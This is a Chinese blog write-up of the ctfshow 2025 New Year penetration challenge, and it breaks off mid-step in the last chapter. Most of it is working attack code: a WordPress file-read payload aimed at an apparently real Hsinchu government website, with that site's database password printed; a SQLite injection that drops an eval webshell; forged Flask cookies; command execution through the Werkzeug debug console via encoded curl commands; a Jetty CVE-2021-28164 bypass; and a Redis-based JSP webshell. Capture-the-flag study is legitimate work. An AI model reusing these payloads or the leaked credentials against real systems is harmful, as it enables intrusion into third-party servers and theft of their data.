ctfshow-2025元旦渗透赛-复现
本文最后更新于310 天前,其中的信息可能已经过时,如有错误请发送邮件到270371528@qq.com

ctfshow-2025元旦渗透赛-复现

第一章

启程

image-20250119204239495

给了一个zip压缩包,ARCHPR爆一下就出来了

ctfshow{654321}

破解加密通讯

本关要求 提交任务中心的网址 格式 ctfshow{https://xxx.xxx}

上一题的zip打开后是一张图片,拿去010发现尾部有base64

image-20250119213457407

去解密发现了python脚本

image-20250119213532360

image-20250119213705780

ctrl点击printMessage进去看看源码

import base64,datetime
message = {
    "inputMessage_20241216" :'''gHgAsclUVPhWDv4S8Oa8SuRTDaj+V0dI4z2jrQwfvfSFWilWwMKwNULUI48UBLS2shZcm/yv2/e5Hq5VRDfXkdxCYQMdvdnvONtpm2yNiIaLpDV4Rs8fOXJ6kcaeT+mg4RkIIFgx35w4J1KgO72pSP8j1p+R9f9TNMafwJ91XmO4QTcOYkMKQMddKvhbyMXzJkSS0uZqEppNSIUnVX9b7m8PmMjV0uHShvb1Zc8UQWJWUJ3cOxwNasOeMQGxJrZXPkxIxDYzm3f0tXbCgvdgNZ8TQY7u+iCXjOtD6xnUsdSahnPq14BD30CilIfsG0r/klPHfxQ+psmHSX47Ylai0TtgfbHWJJ4lSo0ojMvTx6HYK8zmAoCmg4OGXDbv/IjJgYU1w24na0iXZCNtcjB9MLRNck00c20f/uS64Ss0Ixii8nmfsFOjQBCcIYN+HGmOnj5Uw8DVJrxlOmcfQciG3rzuIvYlbOdGMcyarTy2Ba7iZfoovYZObPscAwhNLWqbU4tuR78aOVxiXTFRY7+Y0x2eRT5sulcvB3vsKuDMlNrxaUgiFUohPBZGNsgQgyCPxxqk0NpUn0bbHLH+vBebjJxaim4AU28ctWW8xv7xpxVttb0EoohtK2cIHr79ep5XrU/rv4R58obD/o+QqI1Mrb4wwpX9tsL7ZbROw/MXJwM=''',
    "inputMessage_20240411" : '''Z93Khatj+AWZcpPwIqu8LzbJ8xb8CuVMI8okE0qwoQD2IC2lixg77mJZireOrbW7zFkDsk1hP67dROJZwVUDrYot2g5GxX/xy7lGjIblUX4iJVUtP4mHqZUgKROaLoh/gippMpP+8Ik2X/QRBx5gdhq0xam+wuVC+77/tyu8Fd/DohKbAMp8aaJsFr/W4mLDZ1gv4JK+2O3l+bAvpodBRTzb0ld5zD2ueYvjTudoDjdanQP1oVTH7pkDO2Vb+SsdIyTi2C410JEOF4Qm8mzVHtiOunOcLVpAlQsM6/LdhqsTNelXl/Myb84NGxwGWVmx6j2QejiL7S1hHeHlmQ9ExHeURPdZAvKhgMCemYXu3BGlFq3ydb5SkqwLFvM4vJ6XUBcWkHT8eijBFF6Y7YgOv9GRvBTnsAQhUBp4W4EAMtXkDdToG+S8ZO7El8Gh8jaWC49n5CuUBRz3z2GeOVbsBamfLV06IO5v78jGHXig4saEFKHvYSIGewyUCVQEGoIR5xOTJBTUTePAdvQjfg28vZZxFB/hIYNDUHkaek1Mg1UH5HWGgsCX1In5hSX/9eBkznEhzeWnJ1yMsYkj+ddN34DLQSrHc83geXMcoW3Ah3cAQG8E8bszvKL3hme+T5rOeENjkOAgYhf84k4YlxDskdwvzyu8HkE9CSaBpDP6lKI=''',
    "inputMessage_20240305" : '''ckDSthpl5DDJMpBE26Jqk8EjaSq7MUntdwLHPouwx6D38un6WQfLJ9wgDyjh9GA/ICJR7WrwWsVinr6y3u9w+ubMZ0mqmtnphzQraagk8NkKc1u1+qGp8llsud3C8mvJWa4GYa9KEhnACDHwppPKJDCfr1HKwPbR0NIi+1Aunmy6DeOKRkFwysnrSco5QiiC9+gdXFhQDmN9KEiYW6Pc3mWVbqFiJgRW3/Df6638oGPm6AUcgRnEWMKiluyN81frM9VNtCeJ64YrU6Rgx4D153YxNNQbLTcyCQMamHTrJnhxPojkuDqbEcU+iiN4offwrQyr4eEu9ecvmyD2w/n7pAOsVnqSzroBujVA+CK6Zq8Uie15mL5yWG9hD5ZcbSwnRmtqK3yl0Xl91hgn1JqcIEKtf+MnMQPr80uoxT3mz8IX8pyVnyyw1x6F+IK1I2G+5w6rUDjhzIbME5XB9hopwcswsXrMo9PP6/5Sz1noJrsu6k6WN8ZM0MyRIav+xuKP1+cYzlPSQZrMo3L4ieHQnBbsoyzGVf9QONMwaooGOrxu88ZWlGe8e7eyCzteeNSVOC2zqtQiwQJIgfp2UwTymA/cEjOICWVzUXwbE5wWUBPCLp2C/XWc82byrOHAFXHLOVKgolVToUpZ5uOvizgk/ahaxdGxGa9CrRyr6sf+goA=''',

}

def printMessage():
    for key, value in message.items():
        title = key.replace('inputMessage_', '')
        print("�33[1;31m" + "请使用组织分配的私钥解密后使用" + "�33[0m")
        title = datetime.datetime.strptime(title, '%Y%m%d').strftime('%Y-%m-%d')
        print("----------------------------------------------------------")
        print(title)
        print(value)
        print("----------------------------------------------------------")
        print("n")

# 最新流通公钥
def getPublicKey():
    return b'''
    -----BEGIN PUBLIC KEY-----
MIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEAmziayo9Tddo1FYdrtOsw
yjLYJ5frYKEwm4rQTsKU8UcdnnDRgms+ZmStoqlH/qi6x+D1K3fvvioCnGZLFHZw
BUqbgT5x+qUmUaVMll9FOT7ZJ05w8n8Ljqa1akzFMU5G7YbCr3vQwN63vwvD9/63
TDbXkJrv1fGl2rHpPwp5OPCUeCB3nIFIRCWHpJU7sHJqIP5vzV8KNJtbxgR+dhsz
dg+NhoBDUpxoVN5lzSKr2TMOLFLZaQR9AWOV/aHV8gjTkTLDZfc+XlfhxiDMTQdi
UTbk/tynpt+JFrDA8vL5/TOmuxgumqgXZIPGrIUbwloTYyHD/XXmvXu5KE8g3eMK
gxNxuEKM5bMTESBK9A7Q2Kj3eNp0Rvb5Aleg7h8/YbQemGelY/o5xpUyHgHjsfNQ
3j/xhdhVCNVaXZF64V/YVpvC9Cq29F7qI+bl6FlN7zSpuHB3QgNS1uXOmjBCsA7y
pZoWmdXeaLIO+I3kP48BBSmue4nidJifiK/kSOcZ0iegRXV1hyZ6pYdDE7hM5V5t
5tvayJ31zRQNT2ALAFeCDozVWELHTnphkPkQO+SOPglrVz0S1dXicqRofXWMj7PJ
OFkBpWIX0aywMIh1woEAawUs3RM2pfLUNtqUTfodSCmWlwcpGrBWG5NACx7csPFt
zWn8oPZfzL346at5DDIwD2kCAwEAAQ==
-----END PUBLIC KEY-----
'''

def enctryptMessage(message):
    import base64
    message_bytes = message.encode('utf-8')  
    message_base64 = base64.b64encode(message_bytes).decode('utf-8')
    publicKey = getPublicKey()
    from cryptography.hazmat.backends import default_backend
    from cryptography.hazmat.primitives import serialization
    from cryptography.hazmat.primitives.asymmetric import padding
    from cryptography.hazmat.primitives import hashes
    public_key = serialization.load_pem_public_key(publicKey, backend=default_backend())
    encrypted = public_key.encrypt(
        message_base64.encode('utf-8'),
        padding.OAEP(
            mgf=padding.MGF1(algorithm=hashes.SHA256()),
            algorithm=hashes.SHA256(),
            label=None
        )
    )
    encrypted_base64 = base64.b64encode(encrypted).decode('utf-8')
    return encrypted_base64
printMessage()

运行源码之后得到

image-20250119213837507

三段加密后的密文,在第一题任务提示里给了RSA的n,p,q

求出私钥然后解密这三段密文

from Crypto.PublicKey import RSA
from Crypto.Cipher import PKCS1_OAEP
from Crypto.Hash import SHA256
import base64
# RSA 参数
e = 65537
p = 31764044218067306492147889531461768510318119973238219147743625781223517377940974553025619071173628007991575510570365772185728567874710285810316184852553098753128108078975486635418847058797903708712720921754985829347790065080083720032152368134209675749929875336343905922553986957365581428234650288535216460326756576870072581658391409039992017661511831846885941769553385318452234212849064725733948770687309835172939447056526911787218396603271670163178681907015237200091850112165224511738788059683289680749377500422958532725487208309848648092125981780476161201616645007489243158529515899301932222796981293281482590413681
q = 19935965463251204093790728630387918548913200711797328676820417414861331435109809773835504522004547179742451417443447941411851982452178390931131018648260880134788113098629170784876904104322308416089636533044499374973277839771616505181221794837479001656285339681656874034743331472071702858650617822101028852441234915319854953097530971129078751008161174490025795476490498225822900160824277065484345528878744325480894129738333972010830499621263685185404636669845444451217075393389824619014562344105122537381743633355312869522701477652030663877906141024174678002699020634123988360384365275976070300277866252980082349473657
# 计算私钥 d 和模数 n
n = p * q
phi = (p - 1) * (q - 1)
d = pow(e, -1, phi)
# 构造 RSA 私钥
private_key = RSA.construct((n, e, d, p, q)).export_key()
# 加密的消息字典
encrypted_messages = {
    "inputMessage_20241216": '''gHgAsclUVPhWDv4S8Oa8SuRTDaj+V0dI4z2jrQwfvfSFWilWwMKwNULUI48UBLS2shZcm/yv2/e5Hq5VRDfXkdxCYQMdvdnvONtpm2yNiIaLpDV4Rs8fOXJ6kcaeT+mg4RkIIFgx35w4J1KgO72pSP8j1p+R9f9TNMafwJ91XmO4QTcOYkMKQMddKvhbyMXzJkSS0uZqEppNSIUnVX9b7m8PmMjV0uHShvb1Zc8UQWJWUJ3cOxwNasOeMQGxJrZXPkxIxDYzm3f0tXbCgvdgNZ8TQY7u+iCXjOtD6xnUsdSahnPq14BD30CilIfsG0r/klPHfxQ+psmHSX47Ylai0TtgfbHWJJ4lSo0ojMvTx6HYK8zmAoCmg4OGXDbv/IjJgYU1w24na0iXZCNtcjB9MLRNck00c20f/uS64Ss0Ixii8nmfsFOjQBCcIYN+HGmOnj5Uw8DVJrxlOmcfQciG3rzuIvYlbOdGMcyarTy2Ba7iZfoovYZObPscAwhNLWqbU4tuR78aOVxiXTFRY7+Y0x2eRT5sulcvB3vsKuDMlNrxaUgiFUohPBZGNsgQgyCPxxqk0NpUn0bbHLH+vBebjJxaim4AU28ctWW8xv7xpxVttb0EoohtK2cIHr79ep5XrU/rv4R58obD/o+QqI1Mrb4wwpX9tsL7ZbROw/MXJwM=''',
    "inputMessage_20240411": '''Z93Khatj+AWZcpPwIqu8LzbJ8xb8CuVMI8okE0qwoQD2IC2lixg77mJZireOrbW7zFkDsk1hP67dROJZwVUDrYot2g5GxX/xy7lGjIblUX4iJVUtP4mHqZUgKROaLoh/gippMpP+8Ik2X/QRBx5gdhq0xam+wuVC+77/tyu8Fd/DohKbAMp8aaJsFr/W4mLDZ1gv4JK+2O3l+bAvpodBRTzb0ld5zD2ueYvjTudoDjdanQP1oVTH7pkDO2Vb+SsdIyTi2C410JEOF4Qm8mzVHtiOunOcLVpAlQsM6/LdhqsTNelXl/Myb84NGxwGWVmx6j2QejiL7S1hHeHlmQ9ExHeURPdZAvKhgMCemYXu3BGlFq3ydb5SkqwLFvM4vJ6XUBcWkHT8eijBFF6Y7YgOv9GRvBTnsAQhUBp4W4EAMtXkDdToG+S8ZO7El8Gh8jaWC49n5CuUBRz3z2GeOVbsBamfLV06IO5v78jGHXig4saEFKHvYSIGewyUCVQEGoIR5xOTJBTUTePAdvQjfg28vZZxFB/hIYNDUHkaek1Mg1UH5HWGgsCX1In5hSX/9eBkznEhzeWnJ1yMsYkj+ddN34DLQSrHc83geXMcoW3Ah3cAQG8E8bszvKL3hme+T5rOeENjkOAgYhf84k4YlxDskdwvzyu8HkE9CSaBpDP6lKI=''',
    "inputMessage_20240305": '''ckDSthpl5DDJMpBE26Jqk8EjaSq7MUntdwLHPouwx6D38un6WQfLJ9wgDyjh9GA/ICJR7WrwWsVinr6y3u9w+ubMZ0mqmtnphzQraagk8NkKc1u1+qGp8llsud3C8mvJWa4GYa9KEhnACDHwppPKJDCfr1HKwPbR0NIi+1Aunmy6DeOKRkFwysnrSco5QiiC9+gdXFhQDmN9KEiYW6Pc3mWVbqFiJgRW3/Df6638oGPm6AUcgRnEWMKiluyN81frM9VNtCeJ64YrU6Rgx4D153YxNNQbLTcyCQMamHTrJnhxPojkuDqbEcU+iiN4offwrQyr4eEu9ecvmyD2w/n7pAOsVnqSzroBujVA+CK6Zq8Uie15mL5yWG9hD5ZcbSwnRmtqK3yl0Xl91hgn1JqcIEKtf+MnMQPr80uoxT3mz8IX8pyVnyyw1x6F+IK1I2G+5w6rUDjhzIbME5XB9hopwcswsXrMo9PP6/5Sz1noJrsu6k6WN8ZM0MyRIav+xuKP1+cYzlPSQZrMo3L4ieHQnBbsoyzGVf9QONMwaooGOrxu88ZWlGe8e7eyCzteeNSVOC2zqtQiwQJIgfp2UwTymA/cEjOICWVzUXwbE5wWUBPCLp2C/XWc82byrOHAFXHLOVKgolVToUpZ5uOvizgk/ahaxdGxGa9CrRyr6sf+goA='''
}
# 解密函数
def decrypt_message(encrypted_base64, private_key):
    try:
        key = RSA.import_key(private_key)
        cipher = PKCS1_OAEP.new(key, hashAlgo=SHA256.new())
        encrypted = base64.b64decode(encrypted_base64)
        decrypted = cipher.decrypt(encrypted)
        return base64.b64decode(decrypted).decode('utf-8')
    except Exception as e:
        return f"Decryption failed: {str(e)}"
# 输出解密后的消息
for label, encrypted_message in encrypted_messages.items():
    date = label.split('_')[1]
    result = decrypt_message(encrypted_message, private_key)
    print(f"{date[:4]}-{date[4:6]}-{date[6:]}: {result}n{'-' * 50}")

image-20250119214728562

ctfshow{https://task.ctfer.com}

潜入敌营

本关要求 提交park在任务中心登陆的账号密码 格式 ctfshow{账号_密码}

根据第二个密文信息,我们渗透进新竹县动物保护防疫所

https://apc.hsinchu.g*v.t*/

是一个wordpress搭建的网站,看网上wp,用wpscan直接找到漏洞。

payload:

https://apc.hsinchu.g*v.t*/?aam-media=wp-config.php

得到

// ** MySQL settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define( 'DB_NAME', 'hsinchug_wp1' );
/** MySQL database username */
define( 'DB_USER', 'hsinchug_wp1' );
/** MySQL database password */
define( 'DB_PASSWORD', 'Q.4Vyj8VCiedX1KYU5g05' );
/** MySQL hostname */
define( 'DB_HOST', 'localhost' );
/** Database Charset to use in creating database tables. */
define('DB_CHARSET', 'utf8mb4');
/** The Database Collate type. Don't change this if in doubt. */
define('DB_COLLATE', 'utf8mb4_unicode_ci');

ctfshow{hsinchug_wp1_Q.4Vyj8VCiedX1KYU5g05}

第二章

秘密潜伏

本关要求 提交dylan的电话号码 格式 ctfshow{电话号码}

先利用上一关得到的账号密码登录

image-20250119230301279

我们的身份是hsinchug_wp1,电话号码就是旁边的,我们要想办法以dylan的身份登录

题目提示jwt。猜测可能是用jwt伪造身份来登录

在该网页随便翻翻,找到了重要的信息:key

image-20250119231118687

我们在该网页抓包

image-20250119231203195

果然有jwt

key的中间部分被盖住了,我们爆破一下

import jwt
import itertools
token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJoc2luY2h1Z193cDEiLCJleHAiOjE3MzczODUwMTZ9.sYNSUDIyvVioTXfgyIWkrEnQX6RzE3fkXx1WSkNk7oU"

key_prefix = "4a4f7d6e8b5"
key_suffix = "0c7f"

hex_chars = "0123456789abcdef"

for middle_chars in itertools.product(hex_chars, repeat=3):
    key = key_prefix + ''.join(middle_chars) + key_suffix
    try:
        decoded = jwt.decode(token, key, algorithms=["HS256"])
        print(f"Key Found: {key}")
        print(f"Decoded JWT: {decoded}")
        break 
    except jwt.ExpiredSignatureError:
        print(f"Key {key} is correct but the token has expired.")
        break  
    except jwt.InvalidTokenError:
        pass  

得到key:4a4f7d6e8b5e3a0c7f

image-20250119233919334

利用伪造的jwt登上dylan账号即可查看到电话号码

注意抓包替换jwt的时候要替换两次

image-20250119234008337

ctfshow{117447685307}

收集敌方身份信息

本关要求 在任务中心服务器上搜索秘密账户,用户名好像是root,提交他的密码 非系统用户root 是web里面的用户名root 格式 ctfshow{账号是root的用户密码}

我们以dylan身份登进去后,在左边administrator下的taskfile,我们点进去之后抓包来到listTaskFiles,将path目录置为空会发现暴露根目录并且在根目录下有init_users.json

image-20250121162749547

我们继续测试还有一个read接口可以读取文件内容,

image-20250121163617881

如图将path置为空可以直接读取根目录的文件内容

ctfshow{7y.(sc#Ac_}

横向渗透

本关要求 提交 DATABASE_SECRET_KEY内容 格式 ctfshow{XXXXXX}

我们先看.bak源码

from flask import Flask, request, jsonify, session
from flask import url_for
from flask import redirect
import logging
from os.path import basename
from os.path import join

app = Flask(__name__)

# 设置 Flask 的 SECRET_KEY,用于加密 session 数据
app.config['SECRET_KEY'] = '3f7a4d5a-a71a-4d9d-8d9a-d5d5d5d5d5d5'

# 根路由,初始化用户 session 为 'guest'
@app.route('/', methods=['GET'])
def index():
    session['user'] = 'guest'  # 设置用户 session 为 'guest'
    return {'message': 'log server is running'}  # 返回启动日志服务器的消息

# 检查当前 session 是否为 admin 用户
def check_session():
    if 'user' not in session:  # 如果 session 中没有 'user' 键
        return False
    if session['user'] != 'admin':  # 如果 session 中的 'user' 不是 'admin'
        return False
    return True  # 如果是 admin 用户,返回 True

# 获取密钥的路由,只有 admin 用户可以访问
@app.route('/key', methods=['GET'])
def get_key():
    if not check_session():  # 如果不是 admin 用户,返回未授权信息
        return {"message": "not authorized"}
    else:
        with open('/log_server_key.txt', 'r') as f:
            key = f.read()  # 读取密钥文件内容
        return {'message': 'key', 'key': key}  # 返回密钥

# 设置日志选项的路由,允许 admin 用户配置日志记录
@app.route('/set_log_option')
def set_log_option():
    if not check_session():  # 如果不是 admin 用户,返回未授权信息
        return {"message": "not authorized"}

    logName = request.args.get('logName')  # 从请求中获取日志名称
    logFile = request.args.get('logFile')  # 从请求中获取日志文件名称
    app_log = logging.getLogger(logName)  # 获取日志记录器
    app_log.addHandler(logging.FileHandler('./log/' + logFile))  # 配置日志记录器,将日志写入指定的文件
    app_log.setLevel(logging.INFO)  # 设置日志级别为 INFO
    clear_log_file('./log/' + logFile)  # 清空指定的日志文件
    return {'message': 'log option set successfully'}  # 返回成功设置日志选项的消息

# 获取日志内容的路由,允许 admin 用户查看日志文件内容
@app.route('/get_log_content')
def get_log_content():
    if not check_session():  # 如果不是 admin 用户,返回未授权信息
        return {"message": "not authorized"}

    logFile = request.args.get('logFile')  # 从请求中获取日志文件名称
    path = join('log', basename(logFile))  # 构造日志文件的完整路径
    with open(path, 'r') as f:
        content = f.read()  # 读取日志文件内容
    return {'message': 'log content', 'content': content}  # 返回日志内容

# 清空日志文件内容
def clear_log_file(file_path):
    with open(file_path, 'w'):  # 以写模式打开文件,清空文件内容
        pass

# 启动 Flask 应用
if __name__ == '__main__':
    app.run(debug=True, host='0.0.0.0', port=8888)  # 启动应用,监听所有可用接口的 8888 端口

然后在第三个菜单栏观看到

image-20250121164947299

可以输入url。我们猜测是ssrf,访问本地8888端口,看看源码flask是不是在本地服务器上运行的。

image-20250121165147052

连接超时,明显不在本地服务器上,serverinfo可以看到本地ip地址。我们利用ssrf来查找其他内网服务器是否开启了服务。

image-20250121165823416

bp爆破一下发现

image-20250121170329265

ip为172.2.162.5的服务器80端口开放,返回结果不一样

image-20250121170426159

进去查看开启了php服务。直接访问成功得到结果

ctfshow{0x8F7C71E8E82E4D1E}

第三章

跳岛战术

本关要求: 拿到config.php中的数据库密码 提交 ctfshow{数据库密码}

题目提示是一台php服务器

hint1:& hint2:sqlite

经过我们上面的抓包发现这就是一个php环境的服务器,说明大概率就是这一台.5服务器

源码:

<!DOCTYPE html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Database TEST</title>
    <script>
        // 存储数据库密钥的 JavaScript 变量
        const DATABASE_SECRET_KEY = '0x8F7C71E8E82E4D1E';
    </script>
</head>
<body>
    <h1>Welcome to Database TEST</h1>
    <p>This is a test page for database connection and queries.</p>

    <!-- 使用 POST 方法提交表单数据 -->
    <form action="index.php" method="post">
        <!-- 数据库用户名输入框 -->
        <label for="name">Enter Database username:</label>
        <input type="text" id="name" name="username" required>
        <br><br>

        <!-- 数据库密码输入框 -->
        <label for="password">Enter Database password:</label>
        <input type="password" id="password" name="password" required>
        <br><br>

        <!-- 数据库 DSN 输入框 -->
        <label for="dsn">Enter Database DSN:</label>
        <input type="text" id="dsn" name="dsn" required>
        <br><br>

        <!-- 数据库查询输入框 -->
        <label for="query">Enter TEST Query:</label>
        <input type="text" id="query" name="query" required>
        <br><br>

        <!-- 提交按钮 -->
        <input type="submit" value="Submit">
    </form>
</body>
</html>

根据提示发现是有注入漏洞的。贴上出题人的payload

http://172.2.24.5/%3fdsn%3dsqlite%3ashell.php%26username%3daaa%26password%3dbbb%26query%3dcreate%2520table%2520%22aaa%22%2520(name%2520TEXT%2520DEFAULT%2520%22%3c%3fphp%2520file_put_contents(%271.php%27%2c%27%3c%3fphp+eval(%24_GET%5b1%5d)%3b%3f%3e%27)%3b%3f%3e%22)%3b

然后访问shell.php触发写马。然后执行命令

image-20250121173650146

ctfshow{3f7a1d5a-d55d-4d9d-8d9a-d5d5d5d5d5d5}

邮箱迷云

本关要求 提交park在2024年12月27日19时20分收到的邮件中的数字 格式 ctfshow{数字} 也可以提交 163邮箱的账号密码 格式 ctfshow{账号_密码}

根目录有个secret文件,读取它

image-20250121173946204

得到base64。解密

image-20250121174115460

登录这个邮箱,得到一封邮件,里面数字为81192

ctfshow{81192}

第四章

再下一城

本关要求 提交log_server_key.txt内容 格式 ctfshow{xxxxxxxxx}

要渗透log日志服务器

我们再次进行扫描发现.6服务器8888端口开放

image-20250121205233530

回显信息正是日志服务器

再看一下源码,

from flask import Flask, request, jsonify, session
from flask import url_for
from flask import redirect
import logging
from os.path import basename
from os.path import join
app = Flask(__name__)

# 设置 Flask 的 SECRET_KEY,用于加密 session 数据
app.config['SECRET_KEY'] = '3f7a4d5a-a71a-4d9d-8d9a-d5d5d5d5d5d5'

# 根路由,初始化用户 session 为 'guest'
@app.route('/', methods=['GET'])
def index():
    session['user'] = 'guest'  # 设置用户 session 为 'guest'
    return {'message': 'log server is running'}  # 返回启动日志服务器的消息

# 检查当前 session 是否为 admin 用户
def check_session():
    if 'user' not in session:  # 如果 session 中没有 'user' 键
        return False
    if session['user'] != 'admin':  # 如果 session 中的 'user' 不是 'admin'
        return False
    return True  # 如果是 admin 用户,返回 True

# 获取密钥的路由,只有 admin 用户可以访问
@app.route('/key', methods=['GET'])
def get_key():
    if not check_session():  # 如果不是 admin 用户,返回未授权信息
        return {"message": "not authorized"}
    else:
        with open('/log_server_key.txt', 'r') as f:
            key = f.read()  # 读取密钥文件内容
        return {'message': 'key', 'key': key}  # 返回密钥

# 设置日志选项的路由,允许 admin 用户配置日志记录
@app.route('/set_log_option')
def set_log_option():
    if not check_session():  # 如果不是 admin 用户,返回未授权信息
        return {"message": "not authorized"} 
    logName = request.args.get('logName')  # 从请求中获取日志名称
    logFile = request.args.get('logFile')  # 从请求中获取日志文件名称
    app_log = logging.getLogger(logName)  # 获取日志记录器
    app_log.addHandler(logging.FileHandler('./log/' + logFile))  # 配置日志记录器,将日志写入指定的文件
    app_log.setLevel(logging.INFO)  # 设置日志级别为 INFO
    clear_log_file('./log/' + logFile)  # 清空指定的日志文件
    return {'message': 'log option set successfully'}  # 返回成功设置日志选项的消息

# 获取日志内容的路由,允许 admin 用户查看日志文件内容
@app.route('/get_log_content')
def get_log_content():
    if not check_session():  # 如果不是 admin 用户,返回未授权信息
        return {"message": "not authorized"}

    logFile = request.args.get('logFile')  # 从请求中获取日志文件名称
    path = join('log', basename(logFile))  # 构造日志文件的完整路径
    with open(path, 'r') as f:
        content = f.read()  # 读取日志文件内容
    return {'message': 'log content', 'content': content}  # 返回日志内容

# 清空日志文件内容
def clear_log_file(file_path):
    with open(file_path, 'w'):  # 以写模式打开文件,清空文件内容
        pass

# 启动 Flask 应用
if __name__ == '__main__':
    app.run(debug=True, host='0.0.0.0', port=8888)  # 启动应用,监听所有可用接口的 8888 端口

发现有验证cookie

image-20250121210639602

回显里面也给了提示,那就要伪造cookie了。

python flask_session_cookie_manager3.py decode -s 3f7a4d5a-a71a-4d9d-8d9a-d5d5d5d5d5d5 -c eyJ1c2VyIjoiZ3Vlc3QifQ.Z4-Ztw.eVhBKjGpbTnb6EgLTYWmJA8WXxo
{'user': 'guest'}
python flask_session_cookie_manager3.py encode -s 3f7a4d5a-a71a-4d9d-8d9a-d5d5d5d5d5d5  -t "{'user': 'admin'}"
eyJ1c2VyIjoiYWRtaW4ifQ.Z4-eVw.u6YAT7_O53mq5byg1H_huY75ryw

伪造好cookie后就可以携带cookie访问/key路由了

http://172.2.239.5/1.php?1=system('curl -b  "session=eyJ1c2VyIjoiYWRtaW4ifQ.Z4-eVw.u6YAT7_O53mq5byg1H_huY75ryw" "http://172.2.239.6:8888/key"');

image-20250121212502362

ctfshow{4f5d1d5d-1d5d-1d5d1d5d1d5d}

顺藤摸瓜

本关要求 提交flask所在服务器的/etc/passwd 文件最后一行内容 格式 ctfshow{文件最后一行内容}

目的就是要获取pin码

1.先通过set_log_option路由来设置日志文件路径

http://172.2.239.5/1.php?1=system('curl -b  "session=eyJ1c2VyIjoiYWRtaW4ifQ.Z4-eVw.u6YAT7_O53mq5byg1H_huY75ryw" "http://172.2.239.6:8888/set_log_option%3flogName=werkzeug%2526logFile=main.log"');

image-20250121214731199

2.获取console路由的key

http://172.2.239.5/1.php?1=system('curl -b  "session=eyJ1c2VyIjoiYWRtaW4ifQ.Z4-eVw.u6YAT7_O53mq5byg1H_huY75ryw" "http://172.2.239.6:8888/console"');

image-20250121214915329

CRgTuLfOst4EgAbrLEb8

3.拿到key之后,直接printpin到日志文件

http://172.2.239.5/1.php?1=system(base64_decode('Y3VybCAtYiAgInNlc3Npb249ZXlKMWMyVnlJam9pWVdSdGFXNGlmUS5aNC1lVncudTZZQVQ3X081M21xNWJ5ZzFIX2h1WTc1cnl3IiAiaHR0cDovLzE3Mi4yLjIzOS42Ojg4ODgvY29uc29sZT9fX2RlYnVnZ2VyX189eWVzJmNtZD1wcmludHBpbiZzPUNSZ1R1TGZPc3Q0RWdBYnJMRWI4Ig=='));

4.打印日志文件查看pin码

http://172.2.239.5/1.php?1=system(base64_decode('Y3VybCAtYiAgInNlc3Npb249ZXlKMWMyVnlJam9pWVdSdGFXNGlmUS5aNC1lVncudTZZQVQ3X081M21xNWJ5ZzFIX2h1WTc1cnl3IiAiaHR0cDovLzE3Mi4yLjIzOS42Ojg4ODgvZ2V0X2xvZ19jb250ZW50P2xvZ0ZpbGU9bWFpbi5sb2ci'));

image-20250121220128431

116-856-097

5.设置cookie,验证pin

http://172.2.239.5/1.php?1=system(base64_decode('Y3VybCAtYiAgInNlc3Npb249ZXlKMWMyVnlJam9pWVdSdGFXNGlmUS5aNC1lVncudTZZQVQ3X081M21xNWJ5ZzFIX2h1WTc1cnl3IiAiaHR0cDovLzE3Mi4yLjIzOS42Ojg4ODgvY29uc29sZT9fX2RlYnVnZ2VyX189eWVzJmNtZD1waW5hdXRoJnBpbj0xMTYtODU2LTA5NyZzPUNSZ1R1TGZPc3Q0RWdBYnJMRWI4Ig=='));

image-20250121220643570

http://172.2.239.5/1.php?1=system(base64_decode('Y3VybCAtYyBjb29raWUudHh0IC12IC1iICAic2Vzc2lvbj1leUoxYzJWeUlqb2lZV1J0YVc0aWZRLlo0LWVWdy51NllBVDdfTzUzbXE1YnlnMUhfaHVZNzVyeXciICJodHRwOi8vMTcyLjIuMjM5LjY6ODg4OC9jb25zb2xlP19fZGVidWdnZXJfXz15ZXMmY21kPXBpbmF1dGgmcGluPTExNi04NTYtMDk3JnM9Q1JnVHVMZk9zdDRFZ0FickxFYjgi'));

image-20250121221317413

6.rce查看日志文件

#访问etc/passwd
http://172.2.239.5/1.php?1=system(base64_decode('Y3VybCAgLXYgLWIgICJfX3d6ZDcwODY5NjQ1ZDkzZWJmMTA0ZjNkPTE3Mzc0Njg3NDN8Mzk4NTRhMzFiM2NlIiAiaHR0cDovLzE3Mi4yLjIzOS42Ojg4ODgvY29uc29sZT9fX2RlYnVnZ2VyX189eWVzJmNtZD1vcy5zeXN0ZW0oJycnY2F0JTIwXC9ldGNcL3Bhc3N3ZD4uXC9sb2dcL21haW4ubG9nJycnKSZmcm09MCZzPUNSZ1R1TGZPc3Q0RWdBYnJMRWI4Ig=='));
#查看日志文件
http://172.2.239.5/1.php?1=system(base64_decode('Y3VybCAgLXYgLWIgICJfX3d6ZDcwODY5NjQ1ZDkzZWJmMTA0ZjNkPTE3Mzc0Njg3NDN8Mzk4NTRhMzFiM2NlO3Nlc3Npb249ZXlKMWMyVnlJam9pWVdSdGFXNGlmUS5aNC1lVncudTZZQVQ3X081M21xNWJ5ZzFIX2h1WTc1cnl3OyIgImh0dHA6Ly8xNzIuMi4yMzkuNjo4ODg4L2dldF9sb2dfY29udGVudD9sb2dGaWxlPW1haW4ubG9nIg=='));
ctfshow{ctfer:x:1000:1000::/home/ctfer:/bin/bash}

第五章

艰难的最后一步

本关要求 提交redis的密码 格式 ctfshow{密码}

继续扫描发现存在.7的8080开放服务并且就是java环境

CVE-2021-28164直接打

http://172.2.239.5/1.php?1=system('curl -v "http://172.2.239.7:8080/%u002e/WEB-INF/web.xml"');

image-20250121223610061

ctfshow{ctfshow_2025}

功亏一篑

本关要求 提交 /dylan.txt 中的key 格式 ctfshow{xxxxxx}

先利用上题泄露的密码登录

http://172.2.239.5/1.php?1=system('curl  -v "dict://172.2.239.7:6380/auth:ctfshow_2025"');

image-20250121224510233

然后写马

auth ctfshow_2025
set mars "<% Runtime.getRuntime().exec(new String[]{"sh","-c",request.getParameter("cmd")});%>"
config set dir /opt/jetty/webapps/ROOT/
config set dbfilename 2.jsp
save
quit
base64编码后发包:
